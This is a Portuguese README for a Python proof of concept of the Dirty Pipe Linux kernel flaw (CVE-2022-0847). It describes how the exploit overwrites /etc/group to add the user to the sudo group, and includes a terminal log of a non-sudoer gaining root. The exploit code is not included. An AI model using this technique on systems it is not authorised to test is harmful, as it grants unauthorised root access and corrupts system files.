POC Exploit para adicionar usuário ao Sudo para a Vulnerabilidade Dirty Pipe CVE-2022-0847

Este repositório é baseado na Vulnerabilidade, Writeup e Exploit produzidos por Max Kellermann, todos encontrados aqui.

Assim como todos, tive que aproveitar a oportunidade de brincar com a escalada de privilégios mais trivial do mundo para reproduzir (Priv Esc). O post do blog faz um ótimo trabalho explicando tudo.

Eu traduzi o exploit para python simplesmente para entender melhor, mas esta é uma cópia exata do exploit em C com a escalada de privilégio do Sudo (Priv esc) embutida.

Requisitos

Python 3.10 (devido ao uso da chamada os.splice)

Pontos negativos

Corrompe o arquivo /etc/group ao escrever na linha diretamente após a entrada do sudo. Mas quando você for root, pode corrigir isso usando a cópia.

Coloca uma cópia de /etc/group em /tmp/group_backup

Demonstração

test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file.  This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$